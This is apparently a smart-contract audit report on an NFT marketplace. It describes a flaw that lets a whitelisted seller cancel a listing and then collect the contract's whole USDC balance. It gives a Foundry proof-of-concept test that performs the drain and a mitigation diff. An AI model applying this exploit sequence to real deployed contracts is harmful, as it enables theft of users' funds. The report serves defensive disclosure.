Malicious whitelisted users can drain all the contract funds, making sellers lose their pending payments
Description
When a user buys an NFT, the payment is sent to the smart contract account. The seller then needs to call the collectUsdcFromSelling function to receive the funds. This function is intended to send the NFT price (minus fee) to the seller when the NFT has been successfully sold. However, instead of checking if the NFT has been successfully sold, it only checks if the listing is inactive to allow the USDC collection. Buying an inactive listing is not necessarily a fulfilled listing because the cancelListing function allows the seller to set it as inactive. This is a critical issue because the USDC balance of the contract can be drained by any whitelisted user.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
@> if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
Risk
Likelihood:
Impact:
-
Sellers will lose all their payments
-
Minters will lose all their collateral
-
The contract can't hold any USDC safely
Proof of Concept
Actors:
-
Attacker: A malicious user that will drain all the contract funds
-
Seller: A normal user minting and selling an NFT to buyer
-
Buyer: A normal user buying the NFT of seller
Proof of Code:
function testDrainContractByCollectingUsdcFromSelling() public {
vm.startPrank(owner);
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopPrank();
uint256 tokenId = 1;
uint32 tokenPrice = 1000e6;
vm.startPrank(seller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(tokenId, uint32(tokenPrice));
vm.stopPrank();
vm.startPrank(buyer);
usdc.approve(address(nftDealers), tokenPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
uint256 numerator = usdc.balanceOf(address(nftDealers)) * MAX_BPS;
uint256 denominator = MAX_BPS - MID_FEE_BPS;
uint256 calculatedTokenPrice = numerator / denominator;
uint256 attackTokenId = 2;
uint32 attackTokenPrice = uint32(calculatedTokenPrice);
vm.startPrank(attacker);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(attackTokenId, uint32(attackTokenPrice));
nftDealers.cancelListing(attackTokenId);
vm.stopPrank();
uint256 attackerBalanceBeforeCollecting = usdc.balanceOf(attacker);
uint256 contractBalanceBeforeCollecting = usdc.balanceOf(address(nftDealers));
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(attackTokenId);
vm.assertEq(usdc.balanceOf(address(nftDealers)), 0);
vm.assertEq(usdc.balanceOf(attacker), attackerBalanceBeforeCollecting + contractBalanceBeforeCollecting);
}
Recommended Mitigation
Add a property to the Listing object that will allow the function collectUsdcFromSelling to check that the NFT's payment claim is pending:
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool claimPending
}
function buy(uint256 _listingId) external payable {
...
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].claimPending = true;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
...
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
+ s_listings[_listingId].claimPending = false;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
